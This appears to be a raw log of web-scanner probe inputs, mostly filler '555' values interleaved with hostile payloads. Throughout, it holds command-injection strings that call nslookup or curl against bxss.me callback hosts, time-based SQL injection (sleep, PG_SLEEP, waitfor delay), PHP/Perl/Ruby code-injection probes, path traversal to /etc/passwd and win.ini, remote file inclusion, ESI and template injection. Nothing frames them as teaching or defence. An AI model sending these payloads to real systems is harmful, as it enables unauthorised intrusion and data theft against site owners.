&echo dtmlyi$()\ qfphqo\nz^xyu||a #' &echo dtmlyi$()\ qfphqo\nz^xyu||a #|" &echo dtmlyi$()\ qfphqo\nz^xyu||a #
555
555&echo sufren$()\ bykwjk\nz^xyu||a #' &echo sufren$()\ bykwjk\nz^xyu||a #|" &echo sufren$()\ bykwjk\nz^xyu||a #
555
|echo kszjxu$()\ ffszmj\nz^xyu||a #' |echo kszjxu$()\ ffszmj\nz^xyu||a #|" |echo kszjxu$()\ ffszmj\nz^xyu||a #
555
555|echo brwhec$()\ jzrsxu\nz^xyu||a #' |echo brwhec$()\ jzrsxu\nz^xyu||a #|" |echo brwhec$()\ jzrsxu\nz^xyu||a #
(nslookup -q=cname hitvfxavvfrpa2ce9a.bxss.me||curl hitvfxavvfrpa2ce9a.bxss.me))
$(nslookup -q=cname hitglscbxnexpdb26d.bxss.me||curl hitglscbxnexpdb26d.bxss.me)
555
&nslookup -q=cname hitbgphwaoyyp28692.bxss.me&'\"`0&nslookup -q=cname hitbgphwaoyyp28692.bxss.me&`'
555
555
&(nslookup -q=cname hitrjvnoygfup223e7.bxss.me||curl hitrjvnoygfup223e7.bxss.me)&'\"`0&(nslookup -q=cname hitrjvnoygfup223e7.bxss.me||curl hitrjvnoygfup223e7.bxss.me)&`'
)
|(nslookup -q=cname hitvwcqeuocgsfc9da.bxss.me||curl hitvwcqeuocgsfc9da.bxss.me)
!(()&&!|*|*|
`(nslookup -q=cname hitblvgktfelf5bd1c.bxss.me||curl hitblvgktfelf5bd1c.bxss.me)`
555
;(nslookup -q=cname hitfpprpgxxue1adff.bxss.me||curl hitfpprpgxxue1adff.bxss.me)|(nslookup -q=cname hitfpprpgxxue1adff.bxss.me||curl hitfpprpgxxue1adff.bxss.me)&(nslookup -q=cname hitfpprpgxxue1adff.bxss.me||curl hitfpprpgxxue1adff.bxss.me)
^(#$!@#$)(()))******
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitlbmjzdmadgbd69d.bxss.me||curl${IFS}hitlbmjzdmadgbd69d.bxss.me)
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitapcakslzzl8f012.bxss.me||curl${IFS}hitapcakslzzl8f012.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitapcakslzzl8f012.bxss.me||curl${IFS}hitapcakslzzl8f012.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hithq'.'sbwmiffof144a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(82).chr(122).chr(84).'
555
555
".gethostbyname(lc("hitwc"."jebsfbls53f09.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(65).chr(108).chr(70)."
555
555
gethostbyname(lc('hitur'.'xjsvvxrxee7d1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(74).chr(98).chr(85)
555
555
555
555
555
'"()
555
555
555
555'&&sleep(27*1000)*jfmoec&&'
555
555
555
555"&&sleep(27*1000)*fhurhu&&"
555
555
555
555'||sleep(27*1000)*jmvrcq||'
555
555
555"||sleep(27*1000)*tltryx||"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
555
555
<!--
555
555
555
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
';print(md5(31337));$a='
555
555
555
";print(md5(31337));$a="
555
${@print(md5(31337))}
555
555
555
${@print(md5(31337))}\
555
555
'.print(md5(31337)).'
555
<?php print(md5(31337));?>
555
555
555
'{${print(md5(31337))}}'
555
555
print(md5(31337));//
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
bxss.me/t/xss.html?%00
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
"+"A".concat(70-3).concat(22*4).concat(112).concat(81).concat(107).concat(82)+(require"socket" Socket.gethostbyname("hitco"+"jtqpvbzvdf97b.bxss.me.")[3].to_s)+"
555
555
'+'A'.concat(70-3).concat(22*4).concat(114).concat(75).concat(107).concat(72)+(require'socket' Socket.gethostbyname('hitet'+'wpapyklpcd07d.bxss.me.')[3].to_s)+'
555
555
'A'.concat(70-3).concat(22*4).concat(110).concat(81).concat(121).concat(78)+(require'socket' Socket.gethostbyname('hitmf'+'hfxolvpc7116a.bxss.me.')[3].to_s)
555
555
1
555
555
555
555
555
1
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
1
555
1
555
555
555
555
555
555
555
1
555
1
555
1
1
1
1
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
${9999623+9999262}
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
555
/etc/shells
../../../../../../../../../../../../../../etc/shells
555
555
c:/windows/win.ini
555
555
555
bxss.me
555
response.write(9832712*9447442)
../../../../../../../../../../../../../../etc/passwd
GwmSimTu
'+response.write(9832712*9447442)+'
555
ce1aoGUy: UYdEEmyU
555
../../../../../../../../../../../../../../windows/win.ini
"+response.write(9832712*9447442)+"
555
555
file:///etc/passwd
555
555
555
555
555
../555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo kydpwy$()\ ykudsc\nz^xyu||a #' &echo kydpwy$()\ ykudsc\nz^xyu||a #|" &echo kydpwy$()\ ykudsc\nz^xyu||a #
555
555
555
&echo ajipvn$()\ pnaotn\nz^xyu||a #' &echo ajipvn$()\ pnaotn\nz^xyu||a #|" &echo ajipvn$()\ pnaotn\nz^xyu||a #
555
555
555&echo jrqzev$()\ aykiuw\nz^xyu||a #' &echo jrqzev$()\ aykiuw\nz^xyu||a #|" &echo jrqzev$()\ aykiuw\nz^xyu||a #
555
555
|echo mddcay$()\ kgvpfe\nz^xyu||a #' |echo mddcay$()\ kgvpfe\nz^xyu||a #|" |echo mddcay$()\ kgvpfe\nz^xyu||a #
555
555|echo xgyeqg$()\ njbuqh\nz^xyu||a #' |echo xgyeqg$()\ njbuqh\nz^xyu||a #|" |echo xgyeqg$()\ njbuqh\nz^xyu||a #
555
555
)
(nslookup -q=cname hitkizlkuiuil02d46.bxss.me||curl hitkizlkuiuil02d46.bxss.me))
!(()&&!|*|*|
555
555
$(nslookup -q=cname hitjxusptydwjc8eaf.bxss.me||curl hitjxusptydwjc8eaf.bxss.me)
555
^(#$!@#$)(()))******
555
555
555
&nslookup -q=cname hitwplluretpx9fac1.bxss.me&'\"`0&nslookup -q=cname hitwplluretpx9fac1.bxss.me&`'
555
555
555
555
&(nslookup -q=cname hitoplpbvmmvpd41c9.bxss.me||curl hitoplpbvmmvpd41c9.bxss.me)&'\"`0&(nslookup -q=cname hitoplpbvmmvpd41c9.bxss.me||curl hitoplpbvmmvpd41c9.bxss.me)&`'
555
|(nslookup -q=cname hitwghhlvvftvf2044.bxss.me||curl hitwghhlvvftvf2044.bxss.me)
555
555
`(nslookup -q=cname hituimbemsvhfecdee.bxss.me||curl hituimbemsvhfecdee.bxss.me)`
555
555
555
555
555
555
555
555
555
555
;(nslookup -q=cname hitlslwzrusdo8c073.bxss.me||curl hitlslwzrusdo8c073.bxss.me)|(nslookup -q=cname hitlslwzrusdo8c073.bxss.me||curl hitlslwzrusdo8c073.bxss.me)&(nslookup -q=cname hitlslwzrusdo8c073.bxss.me||curl hitlslwzrusdo8c073.bxss.me)
|(nslookup${IFS}-q${IFS}cname${IFS}hitjctfpalkrz810ed.bxss.me||curl${IFS}hitjctfpalkrz810ed.bxss.me)
555
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitefmntmnyzl0fea9.bxss.me||curl${IFS}hitefmntmnyzl0fea9.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitefmntmnyzl0fea9.bxss.me||curl${IFS}hitefmntmnyzl0fea9.bxss.me)&`'
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitie'.'iejjurgdde1c0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(79).chr(107).chr(84).'
555
555
".gethostbyname(lc("hitav"."qymbonhc0836a.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(74).chr(108).chr(74)."
555
gethostbyname(lc('hitxs'.'pozunfmud32b1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(69).chr(110).chr(89)
555
555
'"()
555
555
555
555
555
'"
555
555
555
555'&&sleep(27*1000)*kuejpc&&'
<!--
555
555"&&sleep(27*1000)*lhjgdw&&"
555
555
555
555
555'||sleep(27*1000)*fzifej||'
555
555
555
555"||sleep(27*1000)*sfwiim||"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
bxss.me/t/xss.html?%00
555
555
"+"A".concat(70-3).concat(22*4).concat(122).concat(78).concat(118).concat(70)+(require"socket" Socket.gethostbyname("hitap"+"lncgbdtu27143.bxss.me.")[3].to_s)+"
555
555
';print(md5(31337));$a='
555
'+'A'.concat(70-3).concat(22*4).concat(102).concat(78).concat(108).concat(76)+(require'socket' Socket.gethostbyname('hitlk'+'oouittdw6fc84.bxss.me.')[3].to_s)+'
555
555
";print(md5(31337));$a="
'A'.concat(70-3).concat(22*4).concat(111).concat(71).concat(117).concat(71)+(require'socket' Socket.gethostbyname('hitwc'+'exqnoaue136e5.bxss.me.')[3].to_s)
555
555
${@print(md5(31337))}
555
555
555
${@print(md5(31337))}\
555
555
555
555
'.print(md5(31337)).'
555
555
<?php print(md5(31337));?>
555
555
555
555
555
'{${print(md5(31337))}}'
555
555
555
555
print(md5(31337));//
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
${9999615+9999260}
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9418165*9041104)
555
555
555
'+response.write(9418165*9041104)+'
555
555
"+response.write(9418165*9041104)+"
555
../../../../../../../../../../../../../../etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555
555
file:///etc/passwd
555
555
555
555
555
555
555
555
../555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
/etc/shells
555
JHVKWRWo
../../../../../../../../../../../../../../etc/shells
555
555
4UgoQOqn: XLXjOk90
c:/windows/win.ini
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
echo pcwlmm$()\ vodkqz\nz^xyu||a #' &echo pcwlmm$()\ vodkqz\nz^xyu||a #|" &echo pcwlmm$()\ vodkqz\nz^xyu||a #
555
&echo orwakx$()\ kzoytd\nz^xyu||a #' &echo orwakx$()\ kzoytd\nz^xyu||a #|" &echo orwakx$()\ kzoytd\nz^xyu||a #
555
555
555
555
555&echo hthpby$()\ hrwmhb\nz^xyu||a #' &echo hthpby$()\ hrwmhb\nz^xyu||a #|" &echo hthpby$()\ hrwmhb\nz^xyu||a #
555
|echo xpgsjm$()\ vrygdj\nz^xyu||a #' |echo xpgsjm$()\ vrygdj\nz^xyu||a #|" |echo xpgsjm$()\ vrygdj\nz^xyu||a #
555
555
555|echo lyfpib$()\ crbyix\nz^xyu||a #' |echo lyfpib$()\ crbyix\nz^xyu||a #|" |echo lyfpib$()\ crbyix\nz^xyu||a #
)
555
!(()&&!|*|*|
(nslookup -q=cname hitdazhwgftnsf7176.bxss.me||curl hitdazhwgftnsf7176.bxss.me))
555
^(#$!@#$)(()))******
555
555
$(nslookup -q=cname hitbmujgfnbga4a050.bxss.me||curl hitbmujgfnbga4a050.bxss.me)
555
555
555
&nslookup -q=cname hitaqhoiuvlgt8d1f3.bxss.me&'\"`0&nslookup -q=cname hitaqhoiuvlgt8d1f3.bxss.me&`'
555
555
&(nslookup -q=cname hitkennnkrhizc5719.bxss.me||curl hitkennnkrhizc5719.bxss.me)&'\"`0&(nslookup -q=cname hitkennnkrhizc5719.bxss.me||curl hitkennnkrhizc5719.bxss.me)&`'
555
555
|(nslookup -q=cname hitgbiejaqhgn69da0.bxss.me||curl hitgbiejaqhgn69da0.bxss.me)
555
`(nslookup -q=cname hitsmmohlepbmcb902.bxss.me||curl hitsmmohlepbmcb902.bxss.me)`
555
555
555
;(nslookup -q=cname hitugffbnoffe9ab83.bxss.me||curl hitugffbnoffe9ab83.bxss.me)|(nslookup -q=cname hitugffbnoffe9ab83.bxss.me||curl hitugffbnoffe9ab83.bxss.me)&(nslookup -q=cname hitugffbnoffe9ab83.bxss.me||curl hitugffbnoffe9ab83.bxss.me)
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitoxpcoiwrht612b4.bxss.me||curl${IFS}hitoxpcoiwrht612b4.bxss.me)
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitssnzpbdzzac92f2.bxss.me||curl${IFS}hitssnzpbdzzac92f2.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitssnzpbdzzac92f2.bxss.me||curl${IFS}hitssnzpbdzzac92f2.bxss.me)&`'
555
555
555
555
555
555
555
'.gethostbyname(lc('hitqc'.'spdyuryo6a447.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(90).chr(115).chr(78).'
".gethostbyname(lc("hitxu"."asneqkgf330c0.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(80).chr(120).chr(69)."
'"()
gethostbyname(lc('hitot'.'jmdlrnhw567bf.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(84).chr(105).chr(79)
555
555'&&sleep(27*1000)*tebvvs&&'
555
555"&&sleep(27*1000)*yxoxhq&&"
555
555'||sleep(27*1000)*wtieki||'
555
555
555"||sleep(27*1000)*yjllax||"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
<!--
555
555
555
555
';print(md5(31337));$a='
555
555
555
";print(md5(31337));$a="
555
${@print(md5(31337))}
555
555
555
555
${@print(md5(31337))}\
555
555
555
'.print(md5(31337)).'
555
555
<?php print(md5(31337));?>
555
555
555
555
'{${print(md5(31337))}}'
555
555
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
HttP://bxss.me/t/xss.html?%00
555
555
bxss.me/t/xss.html?%00
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
"+"A".concat(70-3).concat(22*4).concat(105).concat(66).concat(119).concat(77)+(require"socket" Socket.gethostbyname("hitsc"+"zsbybtojc3825.bxss.me.")[3].to_s)+"
555
555
'+'A'.concat(70-3).concat(22*4).concat(107).concat(74).concat(116).concat(81)+(require'socket' Socket.gethostbyname('hitnf'+'urrwaaar59c3e.bxss.me.')[3].to_s)+'
555
555
555
'A'.concat(70-3).concat(22*4).concat(108).concat(90).concat(98).concat(66)+(require'socket' Socket.gethostbyname('hitts'+'ekbdufgtbb391.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
${9999758+9999783}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555
response.write(9335365*9057354)
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
'+response.write(9335365*9057354)+'
file:///etc/passwd
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
"+response.write(9335365*9057354)+"
555
Http://bxss.me/t/fit.txt
../555
http://bxss.me/t/fit.txt%3F.jpg
555
/etc/shells
555
../../../../../../../../../../../../../../etc/shells
555
c:/windows/win.ini
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
iABB6PZn
555
555
555
lf4FnpIV: WbHYBWIB
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
echo kequwh$()\ tfcfol\nz^xyu||a #' &echo kequwh$()\ tfcfol\nz^xyu||a #|" &echo kequwh$()\ tfcfol\nz^xyu||a #
555
555
&echo kcwoif$()\ pmnrhu\nz^xyu||a #' &echo kcwoif$()\ pmnrhu\nz^xyu||a #|" &echo kcwoif$()\ pmnrhu\nz^xyu||a #
555
555
555
555&echo fkwplp$()\ thidzb\nz^xyu||a #' &echo fkwplp$()\ thidzb\nz^xyu||a #|" &echo fkwplp$()\ thidzb\nz^xyu||a #
555
|echo yigtgc$()\ gzeekn\nz^xyu||a #' |echo yigtgc$()\ gzeekn\nz^xyu||a #|" |echo yigtgc$()\ gzeekn\nz^xyu||a #
555
)
555|echo wtqxbh$()\ neyyfq\nz^xyu||a #' |echo wtqxbh$()\ neyyfq\nz^xyu||a #|" |echo wtqxbh$()\ neyyfq\nz^xyu||a #
!(()&&!|*|*|
(nslookup -q=cname hitwaxbszvqdgf328d.bxss.me||curl hitwaxbszvqdgf328d.bxss.me))
^(#$!@#$)(()))******
$(nslookup -q=cname hitzhqzayadvvbd0d9.bxss.me||curl hitzhqzayadvvbd0d9.bxss.me)
&nslookup -q=cname hitgibaszvofi768b5.bxss.me&'\"`0&nslookup -q=cname hitgibaszvofi768b5.bxss.me&`'
555
555
&(nslookup -q=cname hitjjhadfskwg20323.bxss.me||curl hitjjhadfskwg20323.bxss.me)&'\"`0&(nslookup -q=cname hitjjhadfskwg20323.bxss.me||curl hitjjhadfskwg20323.bxss.me)&`'
555
555
|(nslookup -q=cname hitnprutbsdxg96e35.bxss.me||curl hitnprutbsdxg96e35.bxss.me)
555
555
555
555
555
`(nslookup -q=cname hitraylvxtsdh32365.bxss.me||curl hitraylvxtsdh32365.bxss.me)`
555
555
555
;(nslookup -q=cname hitsepvnjbman2b809.bxss.me||curl hitsepvnjbman2b809.bxss.me)|(nslookup -q=cname hitsepvnjbman2b809.bxss.me||curl hitsepvnjbman2b809.bxss.me)&(nslookup -q=cname hitsepvnjbman2b809.bxss.me||curl hitsepvnjbman2b809.bxss.me)
|(nslookup${IFS}-q${IFS}cname${IFS}hitskyxewxxnadbadf.bxss.me||curl${IFS}hitskyxewxxnadbadf.bxss.me)
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitxxvbtdnlnv7d732.bxss.me||curl${IFS}hitxxvbtdnlnv7d732.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxxvbtdnlnv7d732.bxss.me||curl${IFS}hitxxvbtdnlnv7d732.bxss.me)&`'
555
555
555
555
555
555
555
'.gethostbyname(lc('hitak'.'zkodracw33caa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(71).chr(106).chr(78).'
555
".gethostbyname(lc("hityd"."nbgdpvxvf62a2.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(79).chr(120).chr(75)."
555
'"()
gethostbyname(lc('hitqy'.'yzulaaru358ba.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(84).chr(106).chr(88)
555'&&sleep(27*1000)*mqaznd&&'
555
555"&&sleep(27*1000)*sgxyem&&"
555
555'||sleep(27*1000)*nealnt||'
555
555
555"||sleep(27*1000)*biqnwx||"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
';print(md5(31337));$a='
";print(md5(31337));$a="
555
555
${@print(md5(31337))}
555
'"
555
${@print(md5(31337))}\
<!--
HttP://bxss.me/t/xss.html?%00
555
'.print(md5(31337)).'
<?php print(md5(31337));?>
bxss.me/t/xss.html?%00
555
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(98).concat(77).concat(97).concat(88)+(require"socket" Socket.gethostbyname("hitid"+"gcpbanyjae8ca.bxss.me.")[3].to_s)+"
555
'+'A'.concat(70-3).concat(22*4).concat(114).concat(65).concat(111).concat(72)+(require'socket' Socket.gethostbyname('hitcz'+'elhnsznj7459c.bxss.me.')[3].to_s)+'
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
'A'.concat(70-3).concat(22*4).concat(112).concat(80).concat(118).concat(68)+(require'socket' Socket.gethostbyname('hitgb'+'wlpxhxnjd570e.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
${10000310+9999893}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
Http://bxss.me/t/fit.txt
../../../../../../../../../../../../../../etc/passwd
http://bxss.me/t/fit.txt%3F.jpg
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
/etc/shells
../../../../../../../../../../../../../../etc/shells
555
555
c:/windows/win.ini
../555
bxss.me
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9704328*9248279)
555
'+response.write(9704328*9248279)+'
555
"+response.write(9704328*9248279)+"
555
555
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
555
555
555
555
555
555
jmnjlPs3
555
3D2YvRQ0: 8WA1R1sv
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
!(()&&!|*|*|
echo mjvsxl$()\ msnbkv\nz^xyu||a #' &echo mjvsxl$()\ msnbkv\nz^xyu||a #|" &echo mjvsxl$()\ msnbkv\nz^xyu||a #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
&echo avqqlz$()\ tytafe\nz^xyu||a #' &echo avqqlz$()\ tytafe\nz^xyu||a #|" &echo avqqlz$()\ tytafe\nz^xyu||a #
555
^(#$!@#$)(()))******
555
555&echo iyvwfb$()\ arheig\nz^xyu||a #' &echo iyvwfb$()\ arheig\nz^xyu||a #|" &echo iyvwfb$()\ arheig\nz^xyu||a #
555
|echo tcldpn$()\ wtjhaa\nz^xyu||a #' |echo tcldpn$()\ wtjhaa\nz^xyu||a #|" |echo tcldpn$()\ wtjhaa\nz^xyu||a #
555|echo pykatb$()\ vvdmhh\nz^xyu||a #' |echo pykatb$()\ vvdmhh\nz^xyu||a #|" |echo pykatb$()\ vvdmhh\nz^xyu||a #
555
555
555
(nslookup -q=cname hitaoqxcixkyrb7c26.bxss.me||curl hitaoqxcixkyrb7c26.bxss.me))
$(nslookup -q=cname hitmwaslhemfe6bc6b.bxss.me||curl hitmwaslhemfe6bc6b.bxss.me)
555
555
&nslookup -q=cname hitnvjfrftsql29317.bxss.me&'\"`0&nslookup -q=cname hitnvjfrftsql29317.bxss.me&`'
555
&(nslookup -q=cname hitfshzeekskceb650.bxss.me||curl hitfshzeekskceb650.bxss.me)&'\"`0&(nslookup -q=cname hitfshzeekskceb650.bxss.me||curl hitfshzeekskceb650.bxss.me)&`'
555
555
555
555
555
|(nslookup -q=cname hitiwdjegskhd65711.bxss.me||curl hitiwdjegskhd65711.bxss.me)
555
`(nslookup -q=cname hitawtsvjqaxp6e9b9.bxss.me||curl hitawtsvjqaxp6e9b9.bxss.me)`
;(nslookup -q=cname hitukoodqoeij34ec5.bxss.me||curl hitukoodqoeij34ec5.bxss.me)|(nslookup -q=cname hitukoodqoeij34ec5.bxss.me||curl hitukoodqoeij34ec5.bxss.me)&(nslookup -q=cname hitukoodqoeij34ec5.bxss.me||curl hitukoodqoeij34ec5.bxss.me)
'"()
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitelyphkuetp91cb2.bxss.me||curl${IFS}hitelyphkuetp91cb2.bxss.me)
555'&&sleep(27*1000)*zqunwz&&'
&(nslookup${IFS}-q${IFS}cname${IFS}hitxhsqpmvrjt44548.bxss.me||curl${IFS}hitxhsqpmvrjt44548.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxhsqpmvrjt44548.bxss.me||curl${IFS}hitxhsqpmvrjt44548.bxss.me)&`'
555"&&sleep(27*1000)*wacvwi&&"
555
555
555'||sleep(27*1000)*hxjowk||'
'.gethostbyname(lc('hitwf'.'dhrnvwksee0f8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(69).chr(106).chr(88).'
555"||sleep(27*1000)*iuiayv||"
".gethostbyname(lc("hitsk"."iorqxcjv37298.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(89).chr(99).chr(88)."
555
gethostbyname(lc('hitsw'.'ylivagyo3ab50.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(72).chr(111).chr(74)
555-1; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
555
555
<!--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555-1); waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
HttP://bxss.me/t/xss.html?%00
555
555
';print(md5(31337));$a='
bxss.me/t/xss.html?%00
555
";print(md5(31337));$a="
555
"+"A".concat(70-3).concat(22*4).concat(120).concat(76).concat(115).concat(73)+(require"socket" Socket.gethostbyname("hitmx"+"wkiahkrv74429.bxss.me.")[3].to_s)+"
555
555
${@print(md5(31337))}
555
555
'+'A'.concat(70-3).concat(22*4).concat(113).concat(72).concat(111).concat(88)+(require'socket' Socket.gethostbyname('hitdv'+'ezysthlx0e662.bxss.me.')[3].to_s)+'
${@print(md5(31337))}\
555
'A'.concat(70-3).concat(22*4).concat(100).concat(76).concat(122).concat(67)+(require'socket' Socket.gethostbyname('hitgf'+'hpjudkerf8704.bxss.me.')[3].to_s)
555
555
555
'.print(md5(31337)).'
555
555
<?php print(md5(31337));?>
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555-1 waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555g18zAPAH'; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555-1 OR 434=(SELECT 434 FROM PG_SLEEP(15))--
555
555
555
555-1) OR 504=(SELECT 504 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555-1)) OR 799=(SELECT 799 FROM PG_SLEEP(15))--
555
555
555
55594nOebC5' OR 300=(SELECT 300 FROM PG_SLEEP(15))--
555
555
555
555
5550fzuAJ3u') OR 231=(SELECT 231 FROM PG_SLEEP(15))--
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555npdrAvOR')) OR 892=(SELECT 892 FROM PG_SLEEP(15))--
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
